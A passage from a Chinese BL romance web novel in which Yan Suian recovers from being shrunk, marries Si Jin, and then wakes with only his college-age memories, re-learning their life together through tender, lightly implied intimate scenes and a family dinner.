燕绥安感受不出来自己的分量,思忖两秒主动道:“宝宝,我想和我爸说话。” “啊?”司谨怔了怔,“好。” 他加快速度往前走去,将燕叔叔喊停,将肩上的燕绥安放在手心里头。 燕阔峥爬了这么久,连汗都没出一点,气息也很稳,这会儿正要开口询问,就看见儿子往自己手心爬,然后冷冰冰开始指挥。 “爸,我还是坐你肩上吧,小谨累了。” 司谨有点呆:“我还好。” 燕绥安沮丧低下头,仿佛在自责给他增加了重量。 燕阔峥沉默两秒,瞥了眼不争气的儿子,没发表任何意见。 “爸,你不是有根登山杖,给司谨用用吧。”燕绥安又开口,“爬山多累,你又不用。” 司谨还没来得及拒绝,就见燕叔叔从背包侧面抽出了根折叠的手杖,然后递到了他面前。 “小谨,这登山杖给你。” “谢谢叔叔。”司谨接过。 继续爬山,他拄着手杖确实轻松了不少,看着前面的燕绥安坐在燕叔叔肩膀上的模样,有些想笑。 山上的人不算多,稀疏掠过几个游客,他们累得不行,都没空在意别人,燕绥安便心安理得坐着享受了一路。 只是等到了山顶庙前人多起来了,他便钻进了司谨外套的口袋里,只用脑袋顶起一小块袋盖往外看。 燕阔峥摸摸空了的肩膀,心中不免唏嘘。 这没良心的小子,长大以后没跟他亲近过,平时拍两下肩膀都要躲,好不容易主动凑过来,还是为了让自个对象省电力。 烧过香,燕叔叔在外头溜达,封阿姨便带着司谨去见寺庙里的大师。 其实司谨心里头也没抱多大希望,只是人在没办法的时候总是要找一点寄托和希望,所以他的态度也格外虔诚,并没有多说什么,见着封阿姨做什么他便跟着一起。 燕绥安被熏了一身的香火味道,下山的路上蔫蔫的,一句话也不想说。 司谨有些担心他。 封阿姨在边上唉声叹气,手上还捧着从大师那开过光的玉挂坠。 “说你就是神魂不定,平时不能太劳累了,要劳逸结合,回头变回来了把这个坠子挂着,你们两一个人一个。” 司谨抿抿嘴唇,没敢多说什么,只能点头答应:“好。” 燕绥安趴在他口袋里头,没发出声音。 回去的路上燕绥安提出要回自己的住所,起初封阿姨是不同意的,但司谨察觉到小人的心情不对,便主动开口劝说,最后总算让封阿姨妥协了。 “行,要是明天绥安没变回来,我就把他接过来,小谨也两天没忙工作了,事情很多吧。” “也还好。” 司谨一时间做不下决定,只好和她提出明天再说。 万一燕绥安明天就变回来了呢。 抵达家里,司谨将燕绥安安顿在床上,自己去浴室洗漱。 出来以后看见他还在睡着,便取了条小毛巾沾湿,仔仔细细把燕绥安的脸和手脚都擦了一遍。 做完这一切,等他上了床,燕绥安才被惊醒,坐起身时皱着眉头,好像还没反应过来是怎么回事。 “回家了,好好休息吧。”司谨侧躺着,伸出手摸摸他的脑袋。 燕绥安低头看了眼身下的小床,笑了一下:“跟我做的一样。” “就是抄你的。” 司谨爬了山也觉得困倦,换做平时他肯定会嘟囔腿酸,但碍于现在燕绥安什么也没办法做,所以他也不准备说出来让燕绥安烦恼。 燕绥安慢慢躺下,小声说:“那个玉吊坠肯定没用。” 这一点他们都心知肚明,其实封阿姨自己也很清楚。 司谨点了点头:“应该是,不过看着成色倒是可以,也不算亏吧。” “嗯。” 燕绥安没有说什么,只是睁着眼睛朝床头柜看过去。 他也不信这些的。 司谨实在是累了,没聊多久便沉沉睡了过去,手还搭在小床外头,像是在放置燕绥安晚上睡熟了掉下来。 房间内一片安静,没多久燕绥安却坐起身来,借着微弱的灯光看了沉睡中的司谨一会儿,然后目光转向床头柜的盒子,起身爬下小床,朝那方向走去。 变小了以后做很多事情都不方便,去床头柜就废了一番力气,最后费劲掰着那盒子打开,将里头的两条玉坠子取出来。 他踉踉跄跄又回到了床上,把其中一条绕在了司谨的手腕上,让那块玉石紧紧贴着他的皮肤,另一套则放在了小床上,跟他黏在一起。 虽然不知道有没有用,但……就当心理安慰吧。 燕绥安长舒一口气,紧紧闭上了眼睛,期盼自己明天一早可以恢复成正常的大小- 一夜过去,燕绥安翻个身起床,感觉到后背有什么东西硌着。 睁开眼,房间在他视角中还是显得那样大。 他没变回来。 心瞬间凉了个彻底,是前所未有的沮丧。 房间门被打开,司谨从外头进来,靠近的时候身上带着浓郁的蛋饼香味,眉宇间闪动着担忧。 “起来吃早餐吧。” 他的语气很轻快,可是眼底却没有任何喜悦。 燕绥安能看得出来,他的心情也不好,只是强撑着要让自己开心。 见他没有说话,司谨也撑不住这个表情了,有点勉强地垂下眼,小声说:“不要不高兴,说不定明天就变回来了,玉坠指不定还没开始发力呢。” 说到这里,他眼底不住浮现出了湿润的水色。 早上起来发现那玉吊坠裹在手腕上的时候,他差一点就哭了,尤其是发现燕绥安还是小小的模样,脑海中止不住回想他昨晚说玉坠没用的话。 可是等到了晚上,又自己偷偷找出来挂上。 “你说得对。”燕绥安不想让他哭,忙笑了笑,“变小也挺好的,今天我回老宅吧,你忙餐厅的事情。” 司谨小声说:“我不忙,一会儿送你过去吧。” 燕绥安听话坐在他肩膀上,脑袋上的头发凌乱,孤傲的小脸上倒是没有什么表情。 吃饭的时候,司谨小心翼翼看着他,越是想心里就越是酸涩难过。 为什么他一天就可以变回来,可是燕绥安却没有呢? 忍不住往坏的方向想象,他心里止不住阵阵发沉,呼吸都变得有点困难。 “宝宝。” 燕绥安吃过饭,抬头朝他看过来,表情倒是淡然,“别不高兴了,难不成准备不要我了?” 他开了个玩笑,想要让司谨心情放松一点,或者红着脸着急解释,那样的司谨肯定很可爱。 可是司谨却没有笑,甚至没有多余的表情,只是愣愣盯着他好一会儿,眼眶逐渐泛起了红。 燕绥安脸色一变,忙起身,“宝宝,我开玩笑的。” 可下一瞬,晶莹的眼泪簌簌落下,仿佛重重砸在了他心上,猛地泛起尖锐疼痛。 “宝宝……” 司谨的呼吸有些急促,抬手把眼泪擦掉,伸手将他捧起来。 “去换件衣服吧,我送你去老宅,今天我们去老宅玩好不好?我不想去餐厅了。” 燕绥安被他放在床上,表情着急,“我是瞎说的,别放在心上,宝宝。” 原本想直接将这件事带过,可听了他的话,司谨的眼眶却更红了,他蹲在床边上,声音有点哑:“我要你的,一直都要,你不要东想西想,我也很爱你啊,你又不是不知道。” 他一直都是个脸皮很薄的人,平时说喜欢时声音也很小,从来没有像现在这样,直白又大胆诉说自己的爱意。 燕绥安攥紧拳头,心里一片激动,可是更多的却是自责和迫切。 “对不起,宝宝。” 他知道,自己一直隐藏的焦虑和不安,也被心思敏感的司谨给捕捉到了。 “是我说错话了,你是我的老婆,我们肯定一生一世都在一起。”燕绥安这会儿也不嫌腻歪了,“别哭了,好不好?” 司谨也后知后觉丢脸,擦擦眼泪点头。 “你换衣服吧,我出去收拾一下背包,一会儿让司机来接我们。” “好。” 司谨吸吸鼻子,出了房间。 他在客厅收拾行李,脑子里还是刚才说出口的话,这会儿虽然很不好意思,却并不后悔。 其实想起来,他真的很少和燕绥安说那些情话,原本是觉得燕绥安自己也可以察觉到,好像也不太必要,但刚才看着对方听见这些话以后惊讶和释然的放松表情,他才发觉这些日子来自己的不足。 他真的应该多多表达自己的想法。 正好燕绥安现在变小了,他也不再有那种紧张的感觉,可以多说一些,习惯习惯。 等到时候他们都恢复了正常…… 身后的房间忽然传来剧烈的碰撞声,仿佛有什么重物落在了地上。 司谨脸色一变,丢下手里的东西便快步推开了房间门。 看清楚里头的画面,他的表情僵住了。 沙发边上的柜子倒在了地上,摆件翻滚一地,而在床尾立着一道高大的身影,那人似乎也没弄明白现在的情况,下意识披上了边上挂着的浴袍,回过头来时脸上还满是不可置信。 熟悉的狭长眼眸同司谨对上视线,激烈的情绪一触即发。 “老婆!” 燕绥安猛地扑过来,搂着司谨的腰将他紧紧抱进怀里。 司谨还未从错愕中回过神来,便下意识环住了他的脖颈,脸顺势埋入他的颈项,感受着那熟悉的气息和炙热温度。 “变回来了。” 他的声音还有些颤抖,不可置信。 虽然只是两天,可是对他们来说却好像过去了大半辈子那么久,那种因为不确定性而生出的焦躁,让他们都没办法立刻安心下来。 燕绥安紧紧抱着他,力道大到让他感觉骨头泛疼,可是他却一点也没有想要推开。 “老婆,老婆!”燕绥安低头紧紧抱着他。 司谨摸摸他的脑袋,心中感慨万千,忽然间察觉到肩上的湿润,整个身体一震。 “你是哭了吗……” 燕绥安埋着脑袋没有动,声音沉闷,不满道:“叫我什么呢?” 熟悉的低沉嗓声在耳畔边环绕,惹得司谨耳尖一酥,终于有了真实感。 他犹豫一会儿,小声喊了句:“老公。” 燕绥安一个激动,又把他紧紧抱住,灼热的手臂都因为情绪过于激烈止不住的颤抖。 “好不真实啊,我刚才还觉得……结果就忽然变回来了,不是在做梦吧。”他难得这样不安,“我怕只是个梦,等我再醒过来,又没办法这样抱着你了。” 司谨闻言微微抬起头,在他肩上不轻不重咬了一口。 丝毫没有收着力气,离开的时候还留了个很明显的牙印。 燕绥安身体微微绷紧,很疼。 “这样真实了吗?” 燕绥安同他对上视线,眸色逐渐变得深黑幽暗,缓缓摇了摇头。 司谨盯着他,呼吸变得有点急,主动踮起脚尖吻住了他,挑开了他的唇瓣,是难得的主动。 未免太过刺激,燕绥安还未来得及覆住他的后颈,便被轻轻一推倒在了床上。 司谨脱了外套和鞋,跨坐在他腰上,捧着他脸的手微微发着颤,又主动贴了上来,又急又重地吻住他。 “这样呢?” 燕绥安胸膛剧烈欺负,扣住他的后颈,迎合着这个吻,同时一翻身将人压在了身下。 呼吸逐渐变了调,司谨微张着唇咬住他的指尖,可随着他挺身下来便失了力气。 紧紧拥着怀中人,燕绥安漆黑眼眸宛若发狠的凶兽。 “感觉……够真实了。” 司谨眼眶泛着薄红,掀开眼皮瞥他一眼,回应是抬起酸软的手臂捞住他的脖颈,用力地吻住了他的嘴唇。 “……” 第54章 领证当天阵仗很大,司谨拿着红色小本,还是有种在做梦的感觉。 他居然真的结婚了,虽然从前幻想过,可是另一方的身份他却始终没有真切的想象出来过。 燕家比往常还要热闹,每个人的脸上都洋溢着笑容,平日里情绪不外露的燕叔叔也显得很轻松愉悦,同他们聊了许久,最后将燕绥安喊进了书房,同他又不知说了些什么。 回去的路上,司谨忍不住偷偷询问,有了原先的教训,燕绥安现在也都不瞒着他什么了。 “我爸让我成熟点,别总那么幼稚,现在也是成家的人,要长点记性。” 他说这话时显得很蔫巴,沮丧到好像头顶无形的耳朵都垂了下来。 “宝宝,我真的很不成熟吗?” 司谨倒是很认真地回忆了片刻,然后坚定地摇摇头,“我觉得没有啊。” “真的吗?” 司谨点头:“是啊,我感觉你一直都是很可靠的。” 这会儿倒是燕绥安有些不好意思了,说:“我会努力的。” 努力变得更可靠,让司谨更加无所顾忌地依靠他。 司谨看着他一副来劲的样子,就知道晚上要折腾个没完。 事实也跟他想的大差不差,领证时燕绥安虽然表现得很淡定,但一到了能宣泄的地方,便一下子没了顾忌。 折腾到很晚,司谨浑身卸了力气,也没空想太多,昏昏沉沉睡过去。 反正他知道,燕绥安会给他收尾的。 “……” 夜深人静,燕绥安搂着怀中温软的身躯浸入浴缸,清洗时察觉到司谨微蹙的眉头,又生出怜爱,忍不住俯身凑下去吻他湿润的眼睫和嘴唇。 他觉得自己真的完全被司谨迷住了,无论是什么好东西都想要全部给司谨,哪怕是他没有的,也要努力去摘。 都在一起这么久了,他给司谨披上浴袍,上床的时候犹豫一瞬,又觉得放肆点也没关系。 他们都领证了,合法夫夫。 自己也没穿衣服钻进被窝里,两人身体间毫无阻隔,他紧紧搂住那绵软的身躯,心中掀起一股极其强烈的激动。 太美好了。 “……” 陷入美梦中,相贴的身体是那样柔韧滑腻,像是泛着温热的羊脂玉,他在梦中摩挲,身体也像是起了火。 次日一早,拥着怀中的身躯,男人微微蹙眉睁开眼,狭长眼眸中却透出浓烈的困惑。 这是哪? 陌生的房间,总觉得好像有哪里不太对劲。 可等察觉到自己臂弯里还枕着个人时,他的身体完全僵住了。 似乎察觉到了他的动作,那人困倦地翻了个身,往他怀里钻,还小声嘟囔了一句:“累……” 声音很哑,听起来很疲惫,拖长音调,像是在撒娇。 燕绥安的心被狠狠戳动,下意识要将怀中的人退开,可低头看清楚那张脸后,却是猛地僵住了。 我靠! 靠靠靠! 他简直觉得自己是在做梦。 心中荡起层层波澜,好像有水浪一下一下重重地击打他的心脏。 手臂变得僵硬,他看着这个陌生的房间,却怎么也搞不明白是怎么回事。 难不成在他不清醒的时候,把司谨拐到了自己家里?可是…… 察觉到身体的不对劲,他骤然睁大眼睛,素来平静的面容隐隐有崩坏之色。 他怎么没穿衣服? 小心翼翼掀开被角,他的手都在颤抖,等看清楚司谨白皙身体上那些暧昧的红痕后,他脑海中炸开响雷。 完了! 他怎么能做这种事? 到底是怎么回事?他怎么一点记忆都没有? 明明昨晚刚回家躺下,却一睁眼就到了这里。 这一切魔幻极了,燕绥安脑子里满是猜想,可是却一个都不敢信。 这时,司谨忽然睁开眼朝他看过来,脸上满是疑惑。 “你怎么啦?” 燕绥安不敢妄动,嗓子干涩开口道:“没事。” “我好困啊。”司谨钻进他怀里抱着他,发丝凌乱扫在燕绥安的下颚,让他的身体绷得更紧了。 不自觉有了反应,他脸颊涨得通红,只觉得羞耻不堪。 他怎么能这样? 两人贴得这么近,司谨自然也察觉到了,没过多会儿又睁开眼睛,脸也有点红了。 “你自己冷静一下吧。” 这话软绵绵的,其实没什么含义,只是他昨天晚上被折腾了一番,这会儿腿和腰还是酸的,实在是不想再…… 可燕绥安听了这话却觉得他是嫌弃自己了,连忙拉开距离坐起身来,喉结滚动间有些局促。 “抱歉。” 被子掀开带动了身边的人,看着司谨也坐起来,露出身上那些痕迹,他看都不敢多看,抓起床头柜的衣服起身快步去了浴室。 推开门,他还害怕自己走错了,发觉里头是洗手池和洗漱用品,他才长舒一口气,把门给关上了。 紧闭的浴室门里头许久没有传出动静,司谨愣怔几秒,感觉不太对。 换了衣服下床,他走到浴室门前,轻轻敲了两下。 “老公,你怎么了?” 里头安静两秒,下一瞬传来什么东西落在地上的声音。 司谨还没反应过来,眼前的门就骤然被拉开了。 燕绥安换上了T恤裤衩,这会儿脸上全是水,看起来是刚洗过脸还没擦,整个人有点呆。 “你刚才喊我什么?” 司谨抿一下嘴唇,有点不好意思,转移话题:“什么东西掉在地上了?” 燕绥安心虚:“没拿稳漱口杯,没打碎。” 司谨进去看了一眼,放心了。 “你今天怎么了?” 燕绥安对上他的目光,视线在那白皙的颈项扫过,脑海中又浮现出醒来时看见的那一幕,他知道这衣服底下还有很多的痕迹,让他忍不住的浮想联翩。 犹豫很久,他还是决定说实话。 “对不起,昨天晚上的事情,我都记不清楚了。” 啊? 司谨也懵了。 燕绥安紧张得不行,咬咬牙道:“我会对你负责的。” 他不知道司谨愿不愿意和他在一起,但是他是真的喜欢司谨,如果司谨情愿的话,他想和司谨在一起,把自己所有的东西都给司谨,带着司谨回家里。 “……” 房间内陷入了长久的静默。 良久,燕绥安大着胆子看过去,却发觉面前人的眼眸逐渐涌上泪意,似乎不可置信。 怎么了? 他一下着急起来。 是他哪说的不对吗? 司谨拧紧眉头,“你到底怎么回事?” 燕绥安一下也不知道该说什么了。 五分钟后,两人转移到了客厅。 燕绥安怔怔盯着手上的红本本,那种不真实的感觉愈发浓重,他拧了自己大腿一把,猛地清醒过来,确定自己真的不是在做梦,他整个人都飘飘然起来了。 他结婚了!还是和司谨结的,而且……他今年居然已经二十七了! 他不是刚放寒假吗? 司谨坐在对面,看着他满脸震惊的模样,心底泛起细密的酸涩不安。 直到现在,他还没有完全搞明白情况,只是有一点很清楚,那就是燕绥安记不得他了。 这比其他的任何一件事都更加让他伤心。 燕绥安惊慌无比,抬起头看见司谨眼眶通红,心尖蔓开一阵针扎般的疼痛感。 他局促抬起手,下意识要去搂司谨,可是伸到一半又觉得不好意思,只能干巴巴说:“别哭啊,你和我说说情况,兴许我就知道的更多了。” 司谨憋着眼泪,小声和他说了两人认识和相爱的过程。 他平时不是一个话很多的人,可是现在却尽量说得详细,想要让燕绥安想起来。 为什么会变成这样呢?难道是失忆了? 燕绥安听着,耳尖也逐渐泛红,他现在后知后觉明白过来,他应该是穿越了。 是穿越到了自己长大以后吗?可是这一切也太不真实了吧,他居然真的和司谨在一起,还过得这么……幸福。 想到刚醒来时搂着司谨时候的那种甜蜜和不可置信,他真的感觉好幸福。 说了一大堆,司谨喉咙都有点哑了,可是面前的人还是没有半点想起来的样子,只是一副很奇怪的表情。 “那……我们现在每天都住在一起吗?” 司谨点点头:“是的。” 燕绥安感觉呼吸都要暂停了,“那你平时也这么叫我吗?” “叫你什么?”司谨有点儿犹豫。 燕绥安轻咳一声:“就是你刚才在浴室门外面喊我的那个称呼。” 这两个字对他真的冲击力太大了。 这下司谨的脸也跟着红了,“偶尔才这样。” 燕绥安看他白皙如玉的脸庞染上漂亮的桃红,心脏也紧跟着缩了一下,好像有温热的水流在里头涌动,让他激动到不知道该怎么办才好。 司谨也大致清楚了现在的情况,犹豫着看向对面这个像是燕绥安,又不那么熟悉的人。 “你说不记得这几年的事情了,那……你睡醒之前在做什么?” 燕绥安喉结滑动一下,莫名又紧张了。 在他记忆里,他是刚放假,订好了第二天的票准备去余城看看司谨的。 不知道怎么回事,从他第一次去余城见到那个瘦削的少年时,心里头就泛起了涟漪,总觉得那人做什么都戳他的心,搞得他很担心。 虽然手机上有每周拍的照片,可他依旧觉得不知足。 他很心疼,而且这种思念只有见到了本人才能够缓解,看照片一点作用都没有。 太奇怪了,他为什么会对一个未成年这么关心,可是他那个时候真的觉得司谨很可怜,又很可爱,那么认真又内向的样子,特别吸引他。 那个时候他觉得自己有病,可是现在日思夜想的人就在面前,他的心跳又变得重而急了。 “忙点别的事情。” 他尴尬说了句,害怕告诉司谨以后,对方会觉得他像个变态。 司谨听后垂下了眼眸,显得特别沮丧。 “我带你去医院检查一下吧。”他小声说。 燕绥安想说自己的脑子可能没有问题,但还是没有解释,点点头答应了。 可司谨在他面前站起,却好像腿软了似的,他自己都还没有反应过来,就先一步把踉跄的人给揽进了怀里。 司谨起床急,只穿了一件很薄的衬衫,在他身上过分宽大,面料又丝滑柔顺,燕绥安这么一握,就能感觉到底下的温热滑嫩。 “没事吧。” 司谨有点懵,抬头看了他一眼,乖乖摇头,站直身体。 燕绥安这个角度正好能看见他流畅的鼻梁和嘴唇轮廓,红嫩湿润的嘴唇有点肿,好像是前一天刚被蹂|躏过,像桃花一样娇艳。 他心底泛开一阵强烈的冲动。 怎么办?他好想吻司谨啊。 他现在是司谨的合法老公,亲一下是不是也没关系。 脸上不显,可耳廓却红成了一片,他实在是不好意思说出口。 可下一秒司谨要往房间里走,他又下意识紧紧抓住了对方细白的手腕。 刹那间,皮肤相贴的地方仿佛窜开了一簇电流,让他感觉后背酥麻,整个人都有点躁动了。 作者有话要说: 小燕:老婆我是老公,让我进来[让我康康] 第55章 “你怎么了?”司谨疑惑回头。 燕绥安还是那张帅气桀骜的脸,可眼神却显得特别痴,还带着点不好察觉的紧张。 “我可以……亲你吗?” 司谨一怔,脸颊也后知后觉泛起了滚烫,虽然面前的脸还是他熟悉的那张,可是神态却显得有点儿不好意思,总让他觉得哪里不太对劲。 真的好像偷情啊。 半天没有说话,燕绥安居然也就真的乖乖等着他做出反应,一点也不像是平时的他。 也是这时候,司谨才意识到他真的想不起来这段时间的事情了,如果是平时的燕绥安,肯定来不及等到他回答,在察觉到他的微表情以后就会明白他的意思,然后很强势又很凶地亲下来,不再给他说话拒绝的机会。 他一直没有开口,燕绥安心底不免慌乱,半天又小声说:“就亲一下,好不好?老婆。” 不知道为什么,就直接带上了这个称呼,他没有半点不自然,只是意识到自己喊了司谨什么,心里头又翻涌起一阵羞赧和激动来。 是他老婆,真的是他的。 司谨被他揽着,只觉得身上也顺带着泛起了滚烫。 两秒后,他微微点了头。 那个好字还没有说出口,就被冲动的男大学生结结实实吻住了嘴唇。 能够清楚感觉出来,燕绥安的吻技很生疏,呼吸很重,能够感受出来他的迫不及待。 司谨也要比平时更加听话,主动张开嘴巴让他进来,气息交织在一起,是他熟悉的味道。 缠人的一吻结束,燕绥安的呼吸变得又重又急,一张脸涨得通红,眼神却变得更加凶了,像是欲求不满。 “我、我去换衣服。” 他做了个微妙的扯衣角动作,转身快步去了房间里头。 看着房门在眼前关上,司谨满脸都是困惑。 他也得进去换衣服啊,怎么还把门给关住了。 房间里头的燕绥安一进去,就用后背抵住了冰冷坚硬的房门,整个胸膛都在剧烈起伏,刚才司谨细细的轻哼声似乎还在耳畔边上,让他觉得好吵,可是心跳也随之变得特别急促。 完蛋了,他不会因为心跳过速直接死掉吧。 亲嘴比他想象中的感觉还要更好,司谨的嘴唇好软好甜,像果冻一样,而且被他亲完了以后,那种艳粉色让他特别想再狠狠咬上去。 那样做的话,司谨会不会哭呢? 刚产生这个想法,脑海中就飞速闪过了极其具有冲击力的一幕。 漂亮的青年脸颊染着好看的桃粉色,眼泪晶莹剔透滚落下去,不着一物的身体让他挪不开眼,恨不得将整个身体都往里塞。 靠! 燕绥安微微仰起头,眉头皱的死紧,不知道是该唾弃自己,还是该留恋那点记忆的碎片。 “……” 十分钟以后,司谨总算忍不住过来敲门,燕绥安反应还没下去,只好匆匆换了衣服跟着他一起出门。 “你现在能开车吗?” 到了地下车库,司谨犹豫地看了燕绥安一眼。 燕绥安咳嗽一声:“可以,我会开车。” 他刚成年的时候就拿了驾照。 抵达医院,司谨带着他做了个详细的检查,燕绥安其实也不是不会自己看医生,可就是迷迷糊糊跟着他走,眼睛里头好像只剩下这个人。 真的很奇怪,在司谨的面前,他好像都变成一个傻瓜了。 检查结果出来,他大致已经猜到了结果,所以便没有进去听,站在走廊尽头的窗户前面打开陌生的手机,浏览里面那些陌生的图片和信息。 很多人在祝福他结婚,可是他对这件事情根本就没有太多印象。 太可惜了。 好在婚礼还没有举办,他没有错过司谨穿礼服的样子。 一定很好看。 司谨身材清瘦,但比例很好,腿特别长,腰又窄,穿小礼服肯定特别耀眼。 这么幻想着,他心底又有点热了。 打开相册,里头有个专门的相册,是记录他们的照片。 在很多的地方两人都有合照,他亲密地搂着司谨,两个人脸上的笑容都很灿烂,有时候还吻在一起,他能看见自己的舌头都抵了进去,虽然大多数时候司谨是不好意思的,可是里面那浓重的情意还是轻而易举让他感知到了。 里头人的脸的确是他的,相较于他要更加成熟一些,也显得更有锋芒。 分明是同一个人,可燕绥安却莫名其妙泛起一股酸味。 有点嫉妒是怎么回事? 身后传来脚步声,燕绥安快速回头,看见司谨从医生办公室出来了。 “怎么样?”他习惯性迎上前。 司谨拿着报告单,脸上没有什么表情,只摇摇头:“没什么问题,只说有可能是心理问题。” 燕绥安眼睛垂下来,过一会儿又忍不住去看他的表情。 讲真的,他很害怕从司谨的脸上看见失望的情绪,这会让他心里很不舒服。 但还好没有,司谨反而牵住了他的手,像是担心他难过。 “没关系的,说不定过几天就想起来了,可能你最近的压力太大,正好趁着这个机会休息一段时间好了。” 燕绥安心底一暖,反握住他的手,忽然有些愧疚。 “对不起。” 司谨原本都准备带着他回家了,闻言又愣住,有点无奈似的。 “没什么好对不起的啊,你也不想这样。” 燕绥安不知道该说什么了,回家的时候换成了司谨开车,他坐在车上往窗外看,心底泛起些许迷茫。 “老婆。” 他轻轻喊了声。 司谨摸了摸自己发烫的耳朵,心说燕绥安忘记了这么多事情,对于这个称呼却还是一如既往的执着。 不过他虽然这么想,面上却还是没有表现出任何情绪。 “嗯,怎么了?” 燕绥安:“要是我一直想不起来怎么办?” 他问完,车内陷入一片安静,司谨许久没有出声。 没多久又补充一句:“你会不会嫌弃我?” “不会。” 几乎是想也没想,司谨就回答了他的问题,一点犹豫都没有。 燕绥安忽然觉得自己很矫情,可他听见司谨这么说,心里头是真的很激动。 “真的吗?” “嗯。” 司谨开着车,纤长的眼睫从侧面看格外明显,像是一把小小的扇子。 “如果你想不起来那些事情,我可以帮你一起回忆。” 燕绥安愣怔一下,接着便轻轻笑出声:“好啊。” 他再次望向窗外,听见司谨的声音。 “你帮我投资的餐厅就在附近,要不要去吃个中午饭再回家?” 燕绥安茫然地点点头:“好啊。” 到了地方,他抬头看一眼,进门后就收到了店员们的热情招呼。 “小燕总来啦。” 燕绥安咳嗽一声,莫名不太自在。 “嗯。” 司谨让他们预留了一个小包间,带着他上楼,落座以后就坐在他边上,跟他说原先从海城到京市来的故事。 燕绥安听着,脑海中大致勾勒出了情形,但是依旧没有太多的记忆。 他只是觉得欣慰,成熟以后的自己也没有亏待司谨,还对司谨特别好,这正是他这些年来心里一直打着的念头,都成真了。 不过司谨也没有气馁,说了没多久上了菜,吃完以后还想和他说点别的,桌上的手机忽然亮起,他低头看了眼消息。 “阿姨让我们回家一趟,说叔叔今天上午去钓了几条大鱼,晚上要做全鱼宴。” 燕绥安硬是愣了几秒钟,才问:“阿姨是?” “你妈妈。”司谨眨眨眼。 燕绥安的眉头一下子就皱起来了,司谨好半天才反应过来。 原先燕绥安是和他说过的,大学时期他跟家里的关系最是紧张,甚至到了不愿意向父母透露住址的地步。 看来他现在还没有转变过来印象。 燕绥安表情不太好看:“我妈现在……” “阿姨现在很好。”司谨知道他想要问什么,先一步打断,“你们之前聊开了,她现在很少来干涉你的事情,我们也经常一起回家吃饭。” 燕绥安有些不相信似的:“是吗?” “嗯嗯!” 司谨主动牵住了他的手,“下午我们回去以后你就知道了。” 燕绥安心事重重点点头,什么也没说。 吃过饭时间也不算早,燕绥安主动揽下了开车的活,朝着自己家驶去,但一路上表情都不算轻松。 司谨试着开导他:“叔叔阿姨知道你喜欢吃鱼,肯定是特意给你做的。” 燕绥安:“可能吧。” 他是知道母亲爱他的,但这种爱太过浓重,让他感受到的压力要远比幸福更多,这也是他大学时期疯狂想要逃避的原因。 到了熟悉的老宅,他从下车开始表情就不太自然,总觉得母亲下一秒就会从院子哪个地方窜出来,然后质问他联系不上的那几天究竟在做什么,跟什么人在一起,最后又是一通所谓“为他好”的教训。 垂在身侧的手被牵住,他一转头就看见司谨干净认真的小脸。 “回自己家里还紧张呀。” 燕绥安扯扯嘴角:“没有,走吧。” 两人进了门,大门果然先一步被打开,穿着围裙封冉悦从里头快步走出来,让人感到惊悚的是,她两只手上都沾着鲜红的血迹。 被吓了一跳,燕绥安皱紧眉头,司谨惊讶张大了嘴巴。 “阿姨,你在做什么呢?” 封冉悦尴尬一笑:“我刚才和钟姨学杀鱼呢,我看那些视频里都很轻松啊,怎么到我这就这么难呢?” 司谨觉得很新奇,牵着燕绥安快步进去,有点儿期待地说:“杀完了吗?我也会杀鱼的。” 在老家的时候,他经常和两个姐姐一起做饭,刮鱼鳞和去内脏这些他都会。 “行啊,好几条鱼呢,绥安也来帮帮忙,你力气大,帮我摁着。” 司谨低头换鞋,见燕绥安毫无反应,便轻轻捏了一下他的手。 燕绥安这才回过神:“好。” 封阿姨没发现什么不对劲,高高兴兴又往厨房去了。 两人换了鞋进去,才发现燕阔峥也在里头,这会儿穿着衬衫西裤,下一秒就能上新品发布会的正式模样,这会儿却站在水台前头,给夫人摁着大鱼不停扭动的身体。 “这鱼要先拍晕了才能刮,不然一甩都是水。”他说。 封冉悦瞥他一眼:“还用你说,快拍啊。” 司谨站在后头,看着燕叔叔手起刀落,哐一声把那正在扭动的鱼拍晕了。 封阿姨立马高兴起来,开始给鱼刷鳞,动作很是利索。 司谨往水池里头看了眼,发现其他的都已经处理完了。 “先去院子里头玩吧,我看她还没过完瘾,一会儿还得接着片鱼。”燕叔叔满脸无奈,却没有丝毫不耐烦。 司谨点点头,带着燕绥安又出门去了。 院子里头还架着茶桌,茶盏里的水还浮着热气,显然燕叔叔是临时被拽去帮忙的。 燕绥安坐在椅子上,一转头就能看见开放式厨房里头的画面,倒是觉得很新奇,这次他妈居然什么都没问。 “晚上大哥和大姐应该也会回来。”司谨忽然开口,“感觉瞒不住他们,要不要和他们说你失忆的事情?” 燕绥安莫名倔强起来:“不了吧,我变化应该也没有很大。” 后面这话带着点儿心虚,显然自己都不太相信。 司谨倒是无所谓:“那好吧。” 瞒不住也没关系。 在外面做了一会儿,燕绥安忽然道:“我想去我房间看看,和以前有什么不同。” 司谨点头答应,跟着他一起上楼了。 “你的房间好像一直没有什么变化,之前叔叔问过你要不要重新装修,但是你说还是习惯这样。” 进了房间,里头很干净,也没有奇怪的气味,像是平时有人在这住。 司谨知道他疑惑,便道:“我们周末有空的话就会回来住。” “真稀奇。” 燕绥安在里头转了一圈,目光落在床头的相册上。 是他和司谨的合照,他搂着怀中的司谨,笑着往对方额头上落下一吻,脸上都带着笑,显得很温暖亲昵。 一点也想不起来。 “这是我们之前去海岛玩拍的照片。” 司谨的声音从后面传来。 燕绥安回过头,看着司谨白皙的脸,心里头又翻涌起一股莫名的情绪。 怎么回事,真的很嫉妒,又很沮丧。 他为什么忘记了这么多东西,搞得他忍不住去嫉妒那个和司谨经历过所有事情的自己,心里面特别不满足。 司谨显然是领会错了他的心情,以为他这会儿还只是单纯在因为自己记不起来那些事情难过。 上前来拥住他,司谨轻轻说:“没关系的,不要再想了,不管能不能想起来,你都还是你,我们在一起可以继续创造更多回忆啊。” 这话一下戳进了燕绥安的心里,他垂下眼眸,心中那股躁动再也隐藏不住。 “司谨。” 他喊了声,心脏又紧跟着躁动起来。 下意识搂紧了怀中的身体,他低低地喊:“宝宝,谨宝……” “老婆,我好喜欢你啊。” 司谨的耳尖泛起血红,轻轻抱住他,很乖的样子。 感觉身体里的血液都在飞速流窜,燕绥安呼吸很重,俯身凑下来,吻过他的发间和额角,在脸颊耳廓流连许久,到唇边时呼吸已经很急了,却还是强忍喘息。 “可以吗?可以亲你吗?” 司谨被他弄得也有点儿热了,这种时候他是不好意思说太多的,可是燕绥安却好像一下子变得很有礼貌,非要得到一个准确的答复。 一下没得到回答,他又宝宝老婆喊个不停,似乎急得不行了。 最后司谨还是只能红着脸点点头:“可以。” 燕绥安老早就等着他的回答,这会儿终于得到想要的答案,火急火燎覆着他的后颈,便急冲冲吻了上来。 